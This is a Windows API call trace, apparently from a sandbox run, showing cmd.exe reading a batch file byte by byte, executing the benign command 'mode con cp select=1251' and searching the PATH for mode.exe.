	[0072.081] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0072.081] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.081] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.081] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.082] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.082] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.082] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.082] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.082] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.082] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0072.082] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.082] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0072.083] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.083] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0072.083] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.083] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0072.083] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.083] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0072.083] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.083] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0072.083] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.083] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0072.083] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.083] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.083] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0072.084] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.084] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.084] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.084] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0072.084] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.084] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.084] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.084] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0072.084] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.084] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.084] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.084] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0072.084] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.084] GetFileType (hFile=0x248) returned 0x3
	[0072.085] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.085] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.085] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.085] GetFileType (hFile=0x254) returned 0x3
	[0072.085] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0072.085] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x4dd259f628, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f628*=0x18, lpOverlapped=0x0) returned 1
	[0072.085] GetProcessHeap () returned 0x1a1db4a0000
	[0072.085] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x4012) returned 0x1a1db4a8fe0
	[0072.085] GetProcessHeap () returned 0x1a1db4a0000
	[0072.085] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a8fe0) returned 1
	[0072.085] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0072.085] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0072.085] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0072.085] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0072.085] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0072.085] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0072.085] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0072.085] GetProcessHeap () returned 0x1a1db4a0000
	[0072.085] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xb0) returned 0x1a1db4a67b0
	[0072.086] GetProcessHeap () returned 0x1a1db4a0000
	[0072.086] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x1a) returned 0x1a1db4a6a50
	[0072.086] GetProcessHeap () returned 0x1a1db4a0000
	[0072.086] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x38) returned 0x1a1db4a6a80
	[0072.087] GetConsoleOutputCP () returned 0x1b5
	[0072.670] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d8c1fbb0 | out: lpCPInfo=0x7ff7d8c1fbb0) returned 1
	[0072.670] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0073.269] GetConsoleTitleW (in: lpConsoleTitle=0x4dd259f470, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0074.239] malloc (_Size=0xffce) returned 0x1a1db600840
	[0074.239] ??_V@YAXPEAX@Z () returned 0x1a1db600840
	[0074.239] malloc (_Size=0xffce) returned 0x1a1db610820
	[0074.240] ??_V@YAXPEAX@Z () returned 0x1a1db610820
	[0074.241] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0074.241] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0074.241] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0074.241] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0074.241] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0074.241] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0074.241] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0074.241] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0074.241] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0074.241] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0074.241] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0074.241] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0074.241] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0074.241] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0074.241] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0074.241] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0074.241] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0074.241] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0074.241] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0074.241] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0074.241] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0074.241] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0074.241] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0074.241] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0074.241] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0074.241] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0074.241] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0074.241] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0074.241] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0074.241] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0074.241] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0074.241] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0074.241] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0074.241] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0074.241] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0074.242] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0074.242] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0074.242] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0074.242] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0074.242] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0074.242] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0074.242] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0074.242] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0074.242] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0074.242] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0074.242] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0074.242] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0074.242] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0074.242] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0074.242] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0074.242] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0074.242] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0074.242] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0074.242] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0074.242] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0074.242] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0074.242] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0074.242] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0074.242] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0074.242] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0074.242] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0074.242] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0074.242] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0074.242] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0074.242] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0074.242] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0074.242] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0074.242] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0074.242] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0074.242] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0074.242] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0074.242] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0074.243] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0074.243] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0074.243] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0074.243] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0074.243] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0074.243] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0074.243] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0074.243] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0074.243] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0074.243] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0074.243] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0074.243] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0074.243] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0074.243] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0074.243] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0074.243] ??_V@YAXPEAX@Z () returned 0x1
	[0074.243] GetProcessHeap () returned 0x1a1db4a0000
	[0074.243] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xffde) returned 0x1a1db4a8fe0
	[0074.244] GetProcessHeap () returned 0x1a1db4a0000
	[0074.244] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x42) returned 0x1a1db4a19f0
	[0074.244] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0074.244] malloc (_Size=0xffce) returned 0x1a1db610820
	[0074.244] ??_V@YAXPEAX@Z () returned 0x1a1db610820
	[0074.244] GetProcessHeap () returned 0x1a1db4a0000
	[0074.244] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x1ffac) returned 0x1a1db4b8fd0
	[0074.246] SetErrorMode (uMode=0x0) returned 0x0
	[0074.247] SetErrorMode (uMode=0x1) returned 0x0
	[0074.247] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1a1db4b8fe0, lpFilePart=0x4dd259ecf0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4dd259ecf0*="Desktop") returned 0x17
	[0074.247] SetErrorMode (uMode=0x0) returned 0x1
	[0074.247] GetProcessHeap () returned 0x1a1db4a0000
	[0074.247] RtlReAllocateHeap (Heap=0x1a1db4a0000, Flags=0x0, Ptr=0x1a1db4b8fd0, Size=0x4a) returned 0x1a1db4b8fd0
	[0074.247] GetProcessHeap () returned 0x1a1db4a0000
	[0074.247] RtlSizeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, MemoryPointer=0x1a1db4b8fd0) returned 0x4a
	[0074.247] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0074.247] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0074.247] GetProcessHeap () returned 0x1a1db4a0000
	[0074.247] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x1bc) returned 0x1a1db4a8320
	[0074.247] GetProcessHeap () returned 0x1a1db4a0000
	[0074.247] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x368) returned 0x1a1db4b9030
	[0074.274] GetProcessHeap () returned 0x1a1db4a0000
	[0074.274] RtlReAllocateHeap (Heap=0x1a1db4a0000, Flags=0x0, Ptr=0x1a1db4b9030, Size=0x1be) returned 0x1a1db4b9030
	[0074.274] GetProcessHeap () returned 0x1a1db4a0000
	[0074.274] RtlSizeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, MemoryPointer=0x1a1db4b9030) returned 0x1be
	[0074.274] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0074.274] GetProcessHeap () returned 0x1a1db4a0000
	[0074.274] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xe8) returned 0x1a1db4a6c30
	[0074.276] GetProcessHeap () returned 0x1a1db4a0000
	[0074.276] RtlReAllocateHeap (Heap=0x1a1db4a0000, Flags=0x0, Ptr=0x1a1db4a6c30, Size=0x7e) returned 0x1a1db4a6c30
	[0074.276] GetProcessHeap () returned 0x1a1db4a0000
	[0074.276] RtlSizeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, MemoryPointer=0x1a1db4a6c30) returned 0x7e
	[0074.276] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0074.276] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x4dd259ea60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4dd259ea60) returned 0xffffffffffffffff
	[0074.277] GetLastError () returned 0x2
	[0074.277] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0074.277] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x4dd259ea60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4dd259ea60) returned 0xffffffffffffffff
	[0074.280] GetLastError () returned 0x2
	[0074.280] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0074.280] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x4dd259ea60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4dd259ea60) returned 0x1a1db4a1a40
	[0074.280] GetProcessHeap () returned 0x1a1db4a0000
	[0074.280] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, Size=0x28) returned 0x1a1db4a6cc0
	[0074.280] FindClose (in: hFindFile=0x1a1db4a1a40 | out: hFindFile=0x1a1db4a1a40) returned 1
